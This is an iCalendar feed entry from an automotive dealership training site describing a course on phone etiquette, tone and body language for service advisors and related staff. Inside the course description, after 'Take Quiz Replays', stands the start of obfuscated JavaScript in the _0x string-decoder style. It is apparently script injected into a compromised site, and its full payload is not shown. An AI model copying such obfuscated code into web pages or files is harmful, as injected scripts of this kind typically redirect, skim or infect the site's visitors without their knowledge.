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METHOD:PUBLISH
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X-ORIGINAL-URL:https://kdgacademyfixed.com/
X-WR-CALNAME:KDG Academy Fixed
X-WR-CALDESC:KDG Academy Fixed
REFRESH-INTERVAL;VALUE=DURATION:PT1H
X-PUBLISHED-TTL:PT1H
X-MS-OLK-FORCEINSPECTOROPEN:TRUE
BEGIN:VEVENT
CLASS:PUBLIC
UID:MEC-5601077f1cc5aa2ec7bdad06aa84b45f@kdgacademyfixed.com
DTSTART:20260715T150000Z
DTEND:20260715T160000Z
DTSTAMP:20251215T154700Z
CREATED:20251215
LAST-MODIFIED:20251215
PRIORITY:5
SEQUENCE:0
TRANSP:OPAQUE
SUMMARY:106 Keys to Communication–My Words–Tone–Body Language
DESCRIPTION:This class is required for SA Level 1, BDC, Technician Level 1, & Valet Certifications.\nThe purpose of this course is to provide both new and veteran service advisors the foundation and fundamentals of being a service consultant – 2 of 3\nThe student will learn the following impact items…\n\nWhat does great look like in your store\nCreate the best word tracks for each dealership process\nHow to answer the phone (Answer Phone VS Vmail)\nHow to place a customer on hold, answer a hold call, outgoing calls, incoming calls..\nBest word tracks, tone of voice, body language for all dealership operations\n\nThis class is designed for the following associates… Service Advisor, Service Manager, Cashier, Valet, Technician & General Manager.\nTake Quiz Replays\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function 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URL:https://kdgacademyfixed.com/events/106-keys-to-communication-my-words-tone-body-language/
CATEGORIES:All Courses,BDC Certification,Service Advisor Level 1,Service Manager Certification,Technician Certification,Valet Certification
END:VEVENT
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